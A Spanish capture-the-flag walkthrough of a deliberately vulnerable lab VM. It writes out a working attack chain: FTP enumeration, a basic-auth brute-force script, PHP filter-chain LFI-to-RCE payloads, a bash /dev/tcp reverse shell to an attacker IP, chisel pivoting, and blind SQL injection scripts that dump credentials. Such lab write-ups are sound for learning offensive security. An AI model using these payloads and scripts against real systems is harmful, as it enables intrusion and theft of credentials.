Preparación
Iniciemos por la descarga, dependiendo la plataforma que uses para la máquina virtual es mejor descargarlo en un link u otro ya que varia alguna configuracion
VMWare
Virtual Box
Al descomprimir el zip nos queda el ova además de un readme.txt
el cual contiene un par de instrucciones para correr los servicios antes de iniciar a vulnerar la máquina
Iniciamos la maquina y como dicen las instrucciones iniciacmos sesión con las credenciales run:run
despues de ello ejecutamos sudo run
para correr los servicios, al mostrarse el mensaje Happy Hacking ;)
todo deberia estar corriendo
Flag 1
HELL{4N0NYM0U5_15_7H3_B357_U53R}
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos 3 puertos abiertos, donde corren los servicios ftp
, ssh
y http
❯ nmap 192.168.100.91
Nmap scan report for 192.168.100.91
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Podemos probar conectarnos a ftp
como el usuario anonymous
sin proporcionar ninguna contraseña, al hacerlo parece que acepta la autenticacion por defecto
❯ ftp 192.168.100.91
Connected to 192.168.100.91.
220 (vsFTPd 3.0.5)
Name (192.168.100.91:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Al listar los archivos con ls
nos encontramos con un archivo flag.txt
, podemos simplemente descargarlo con get
, salir y leerlo este txt contiene la primera flag
ftp> ls
229 Entering Extended Passive Mode (|||11761|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 256 Feb 16 09:44 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||57396|)
150 Opening BINARY mode data connection for flag.txt (256 bytes).
226 Transfer complete.
256 bytes received in 00:00 (85.96 KiB/s)
ftp> exit
221 Goodbye.
❯ cat flag.txt
▄▀█ █▄ █ █▀█ █▄ █ █▄█ █▀▄▀█ █▀█ █ █ █▀
█▀█ █ ▀█ █▄█ █ ▀█ █ █ ▀ █ █▄█ █▄█ ▄█
Flag 1: HELL{4N0NYM0U5_15_7H3_B357_U53R}
Flag 2
HELL{BRUT3_F0RC3_M4Y_B3_4N_0P710N}
Ademas de la flag, no nos aporta realmente nada asi que vayamos a la web
, esta pide unas credenciales utilizando como metodo de autenticación el basico de apache
Volviendo a ftp
si agregamos el parametro -la
para ver archivos ocultos vemos un archivo .passwd
, lo descargamos con get
y al leerlo nos muestra una contraseña
ftp> ls -la
229 Entering Extended Passive Mode (|||48280|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 115 4096 Feb 16 09:44 .
drwxr-xr-x 2 0 115 4096 Feb 16 09:44 ..
-rw-r--r-- 1 0 0 34 Feb 16 06:57 .passwd
-rw-r--r-- 1 0 0 256 Feb 16 09:44 flag.txt
226 Directory send OK.
ftp> get .passwd
local: .passwd remote: .passwd
229 Entering Extended Passive Mode (|||37079|)
150 Opening BINARY mode data connection for .passwd (34 bytes).
226 Transfer complete.
34 bytes received in 00:00 (12.21 KiB/s)
ftp> exit
221 Goodbye.
❯ cat .passwd
The password is: webserver2023!
Tenemos una contraseña pero no un usuario, probamos con el usuario admin
pero devuelve un codigo de estado 401
Unauthorized asi que la credencial no es valida
❯ curl http://192.168.100.91 -u admin:webserver2023! -I
HTTP/1.1 401 Unauthorized
Date: Thu, 15 Jun 2023 22:11:30 GMT
Server: Apache/2.4.52 (Ubuntu)
WWW-Authenticate: Basic realm="Restricted Content"
Content-Type: text/html; charset=iso-8859-1
Iniciemos con un script en python
, importamos algunas librerias y definimos el target que es la url
de la web, despues una barra de progreso y un contador
#!/usr/bin/python3
from pwn import log
import requests, sys
target = "http://192.168.100.91/"
bar = log.progress("")
counter = 1
Ahora usaremos un diccionario de nombres de seclists, iterando por cada linea de este probaremos una autenticacion
con ese usuario y la contraseña que tenemos de antes, ademas de actualizar el contador y mostrar el usuario
en la barra
with open("/usr/share/seclists/Usernames/Names/names.txt") as file:
for line in file:
user = line.strip()
bar.status(f"Probando usuario [{counter}/10177]: {user}")
request = requests.get(target, auth=(user, "webserver2023!"))
counter += 1
Ahora esperamos a que el codigo
de estado de la peticion sea diferente a 401
, si es asi mostramos el usuario
por consola y simplemente terminamos el programa
if request.status_code != 401:
bar.success(f"El usuario {user} es válido")
sys.exit(0)
El script final seria el siguiente y al ejecutarlo este empezara a bruteforcear
los usuarios del diccionario hasta encontrar una autenticacion valida con la contraseña
#!/usr/bin/python3
from pwn import log
import requests, sys
target = "http://192.168.100.91/"
bar = log.progress("")
counter = 1
with open("/usr/share/seclists/Usernames/Names/names.txt") as file:
for line in file:
user = line.strip()
bar.status(f"Probando usuario [{counter}/10177]: {user}")
request = requests.get(target, auth=(user, "webserver2023!"))
counter += 1
if request.status_code != 401:
bar.success(f"El usuario {user} es válido")
sys.exit(0)
❯ python3 exploit.py
[-] Probando usuario [209/10177]: alberto
Después de un par de segundos conseguimos una autenticacion válida con beilul
❯ python3 exploit.py
[+] El usuario beilul es válido
Podemos simplemente ir a la web y en el login
de apache autenticarnos como el usuario beilul
y como contraseña la que hemos conseguido antes en ftp
Al hacerlo obtenemos acceso a la pagina, donde encontramos la segunda flag
Flag 3
HELL{LF1_F1LT7R_CH41N_G3N3R4T0R}
Tenemos un menú donde podemos seleccionar varios perfiles
, cada uno de ellos carga un html
diferente, este lo gestiona mediante el parametro profile
por GET
Podemos probar un LFI y cargar el archivo /etc/passwd
en el parametro profile
, sin embargo al hacerlo nos bloquea y devuelve el mensaje Attack detected
Sin embargo no está bien sanitizado, ya que con solo usar un wrapper
como lo es file://
podemos cargar el /etc/passwd
o cualquier archivo que queramos
Una vulnerabilidad relativamente nueva para conseguir RCE
a través de un LFI es el Filter Chain, podemos crear un payload en php
que nos ejecute el comando id
❯ python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'
[+] The following gadget chain will generate the following code : <?php system("id"); ?> (base64 value: PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
Al pasarle todo el payload
creado en el LFI del parametro profile
podemos ver reflejado el output del comando id
que fue ejecutado por el usuario www-data
Para mas comodidad crearemos un payload en php
que ejecute con system
un comando que controlaremos mediante el parametro cmd
mediante el metodo GET
❯ python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
[+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]); ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
Ademas del payload en el parametro profile
al final agregaremos un parametro cmd
que nos enviara una shell en bash, solo urlencodeando el &
que es igual a %26
&cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.100.70/443 0>%261'
Enviamos y recibimos la shell como el usuario www-data
, podemos leer la flag
3
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.91
www-data@b53f32351e98:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@b53f32351e98:~/html$ hostname -I
172.17.0.2
www-data@b53f32351e98:~/html$ cat flag.txt
█ █▀▀ █ ▀█ █▀█ █▀▀ █▀▀
█▄▄ █▀ █ █▄ █▀▄ █▄▄ ██▄
Flag 3: HELL{LF1_F1LT7R_CH41N_G3N3R4T0R}
www-data@b53f32351e98:~/html$
Flag 4
HELL{CR3D3NT14LS_1N_HTP455WD_3H?}
Si miramos los archivos encontramos un .passwd
que contiene un hash
el cual pertenece a la contraseña que hemos utilizado antes para el usuario beilul
www-data@b53f32351e98:~/html$ ls -la
drwxr-xr-x 1 root root 4096 Feb 16 04:00 .
drwxr-xr-x 1 root root 4096 Feb 15 19:03 ..
-rw-r--r-- 1 root root 45 Feb 16 00:35 .htpasswd
-rw-r--r-- 1 root root 89 Feb 15 20:38 0bfxgh0st.html
-rw-r--r-- 1 root root 115199 Feb 15 20:34 0bfxgh0st.jpg
-rw-r--r-- 1 root root 89 Feb 15 20:13 eddiedota.html
-rw-r--r-- 1 root root 245390 Feb 4 20:35 eddiedota.jpg
-r-Sr--r-- 1 root www-data 184 Feb 16 04:00 flag.txt
-rw-r--r-- 1 root root 97 Feb 15 20:33 gatogamer1155.html
-rw-r--r-- 1 root root 33411 Jan 10 2022 gatogamer1155.jpg
-rw-r--r-- 1 root root 1836 Feb 16 03:59 index.php
-rw-r--r-- 1 root root 79 Feb 15 20:46 onyx.html
-rw-r--r-- 1 root root 179707 Feb 15 20:45 onyx.jpg
-rw-r--r-- 1 root root 85 Feb 16 00:32 s4vitar.html
-rw-r--r-- 1 root root 182579 Feb 16 00:31 s4vitar.jpg
-rw-r--r-- 1 root root 83 Feb 15 21:07 txhaka.html
-rw-r--r-- 1 root root 33899 Jan 6 21:30 txhaka.jpg
-rw-r--r-- 1 root root 83 Feb 15 20:39 xdann1.html
-rw-r--r-- 1 root root 186966 Oct 21 2022 xdann1.jpg
www-data@b53f32351e98:~/html$ cat .htpasswd
beilul:$apr1$fLBy4Y1e$5pVNuSbmc9kil7JulXfQW0
www-data@b53f32351e98:~/html$
Al reutilizar la contraseña de la web para el usuario root
esta es valida y nos convertimos en root en la 172.17.0.2
, podemos leer la flag
numero 4
www-data@b53f32351e98:~$ su root
Password: webserver2023!
root@b53f32351e98:~# id
uid=0(root) gid=0(root) groups=0(root)
root@b53f32351e98:~# hostname -I
172.17.0.2
root@b53f32351e98:~# cat /root/flag.txt
█▀█ █▀█ █▀█ ▀█▀ █▀█ █▀█ █▄ █ █▀█ ▀█▀
█▀▄ █▄█ █▄█ █ █▄█ █▀▄ █ ▀█ █▄█ █
Flag 4: HELL{CR3D3NT14LS_1N_HTP455WD_3H?}
root@b53f32351e98:~#
Flag 5
HELL{7H3_B00L34N_15_4150_4_VU1N}
Somos root
, pero estamos en la 172.17.0.2
que es un contenedor, podemos usar un binario estatico de nmap para descubrir hosts, encontramos desde la .1
a la .3
root@b53f32351e98:~# ./nmap -sn 172.17.0.1/24 -oG -
Host: 172.17.0.1 () Status: Up
Host: 172.17.0.3 () Status: Up
Host: 172.17.0.2 () Status: Up
root@b53f32351e98:~#
Ahora escaneamos los puertos
de cada uno de los hosts que encontramos activos
root@b53f32351e98:~# ./nmap 172.17.0.1-3
Nmap scan report for 172.17.0.1
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap scan report for 172.17.0.2
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.17.0.3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
root@b53f32351e98:~#
Encontramos varios puertos en los hosts, asi que analizemos nuestra situación actual
172.17.0.1: ✘
- Es la máquina real con la interfaz docker
- Ya explotamos el servicio ftp y http
- No tenemos credenciales para conectarnos a ssh
172.17.0.2: ✘
- Es la máquina donde estamos actualmente
- Somos root, no tiene sentido seguir buscando
172.17.0.3: ✔
- No lo hemos tocado para nada, tiraremos por ahi
Nuestro objetivo sera el host .3
, como solo son 2
puertos un proxy no es necesario asi que con chisel
solo nos pasaremos el puerto 22
y 80
a nuestro localhost
root@b53f32351e98:~# ./chisel client 192.168.100.70:9999 R:22:172.17.0.3:22 R:80:172.17.0.3:80 &
[1] 503
root@b53f32351e98:~#
❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:22=>172.17.0.3:22: Listening
server: session#1: tun: proxy#R:80=>172.17.0.3:80: Listening
Si ahora visitamos la página web en nuestro localhost
podemos ver la página de la 172.17.0.3
la cual nos dice que se detecto una vulnerabilidad
asi que se modifico la aplicacion para que solo muestre si la query
se ejecuto ocultando lo demas
Usando wfuzz
para descubrir directorios nos encontramos con la ruta /admin
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://localhost/FUZZ --hc 404 -t 100
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://localhost/FUZZ
Total requests: 30000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 301 9 L 28 W 306 Ch "admin"
La página es muy sencilla, simplemente recibe un id
de usuario y lo procesa en una query, si se procesa correctamente devuelve el mensaje Query was successfully
Si enviamos como id un 1
recibimos el mensaje, si a este le agregamos una '
dejamos de ver el mensaje, significa que la query sql
no se procesa correctamente
1 | 'Query was successfully'
1' | ''
Podemos basarnos en ese estado booleano
para hacer una comparacion, en este caso comparamos el primer caracter de la consulta database()
con los caracteres a
y e
, al hacerlo con a
no devuelve nada, sin embargo al hacerlo con e
vemos el mensaje, esto quiere decir que la primera letra de la base de datos en uso es e
1' and (select substr(database(),1,1))='a'-- - | ''
1' and (select substr(database(),1,1))='e'-- - | 'Query was successfully'
Aplicando esta logica podemos crear un script
que itere por caracteres y signos sobre cada una de las posiciones de una query
sql que muestre las bases de datos existentes, si en la respuesta vemos el mensaje significa que el caracter es correcto
#!/usr/bin/python3
from pwn import log
import string, requests
characters = string.ascii_lowercase + string.punctuation
bar = log.progress("Databases")
value = ""
for db in range(0,5):
value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
for position in range(0,20):
for character in characters:
request = requests.get(f"http://127.0.0.1/admin/?id=1' and (select substr(schema_name,{position},1) from information_schema.schemata limit {db},1)='{character}'-- -")
if "Query was successfully" in request.text:
value += character
bar.status(value)
bar.success(value)
Al ejecutarlo podemos ver que los caracteres #&+
son falsos positivos asi que los quitamos del script utilizando la función replace
remplazarlos por nada
❯ python3 exploit.py
[|] Databases:
[*] #&+information
characters = string.ascii_lowercase + string.punctuation
characters = characters.replace("#", "")
characters = characters.replace("&", "")
characters = characters.replace("+", "")
Lo ejecutamos de nuevo y logramos enumerar 3
bases de datos existentes de las cuales la que mas llama la atención es creds
que puede contener credenciales
❯ python3 exploit.py
[+] Databases:
[*] information_schema
[*] creds
[*] example
Modificamos un poco el script esta vez para poder enumerar todas las tablas
existentes especificamente en la base de datos creds
#!/usr/bin/python3
from pwn import log
import string, requests
characters = string.ascii_lowercase + string.punctuation
characters = characters.replace("#", "")
characters = characters.replace("&", "")
characters = characters.replace("+", "")
bar = log.progress("Tables")
value = ""
for table in range(0,5):
value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
for position in range(0,20):
for character in characters:
request = requests.get(f"http://127.0.0.1/admin/?id=1' and (select substr(table_name,{position},1) from information_schema.tables where table_schema='creds' limit {table},1)='{character}'-- -")
if "Query was successfully" in request.text:
value += character
bar.status(value)
bar.success(value)
Al ejecutarlo solo encontramos una tabla que es users
en la base de datos creds
❯ python3 exploit.py
[+] Tables:
[*] users
Volvemos a modificar el script ahora para enumerar todas las columnas
existentes espeficicamente de la tabla users
que es parte de la base de datos creds
#!/usr/bin/python3
from pwn import log
import string, requests
characters = string.ascii_lowercase + string.punctuation
characters = characters.replace("#", "")
characters = characters.replace("&", "")
characters = characters.replace("+", "")
bar = log.progress("Columns")
value = ""
for column in range(0,5):
value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
for position in range(0,20):
for character in characters:
request = requests.get(f"http://127.0.0.1/admin/?id=1' and (select substr(column_name,{position},1) from information_schema.columns where table_schema='creds' and table_name='users' limit {column},1)='{character}'-- -")
if "Query was successfully" in request.text:
value += character
bar.status(value)
bar.success(value)
Al ejecutarlo nos encontramos con solo 2
columnas que son username
y password
❯ python3 exploit.py
[+] Columns:
[*] username
[*] password
Creamos una lista con las columnas
e iteramos por cada una de ellas para dumpear sus datos, ademas agregamos digitos
ya que las contraseñas puede que los tengan
#!/usr/bin/python3
from pwn import log
import string, requests
characters = string.ascii_lowercase + string.punctuation + string.digits
characters = characters.replace("#", "")
characters = characters.replace("&", "")
characters = characters.replace("+", "")
columns = ["username", "password"]
for column in columns:
print("\r")
bar = log.progress(f"Dumpeando columna {column}")
value = ""
for dump in range(0,5):
value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
for position in range(0,20):
for character in characters:
request = requests.get(f"http://127.0.0.1/admin/?id=1' and (select substr({column},{position},1) from creds.users limit {dump},1)='{character}'-- -")
if "Query was successfully" in request.text:
value += character
bar.status(value)
bar.success(value)
Ejecutamos el script y logramos dumpear un total de 3
usuarios y 3
contraseñas
❯ python3 exploit.py
[+] Dumpeando columna username:
[*] txhaka
[*] root
[*] marco
[+] Dumpeando columna password:
[*] iamoswe2023!
[*] superrootpassword
[*] beltran48
Esa fue la forma manual aunque realmente podemos usar sqlmap
para explotar la sqli, iniciamos con un -dbs
para listar todas las bases de datos existentes
❯ sqlmap --batch --url "http://localhost/admin/index.php?id=1" -dbs
___
__H__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[22:45:31] [INFO] resuming back-end DBMS 'mysql'
[22:45:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8874=8874 AND 'SWKD'='SWKD
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 7615 FROM (SELECT(SLEEP(5)))bNvh) AND 'YbjW'='YbjW
---
[22:45:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:45:31] [INFO] fetching database names
[22:45:31] [INFO] fetching number of databases
[22:45:31] [INFO] retrieved: 3
[22:45:31] [INFO] retrieved: information_schema
[22:45:33] [INFO] retrieved: creds
[22:45:33] [INFO] retrieved: example
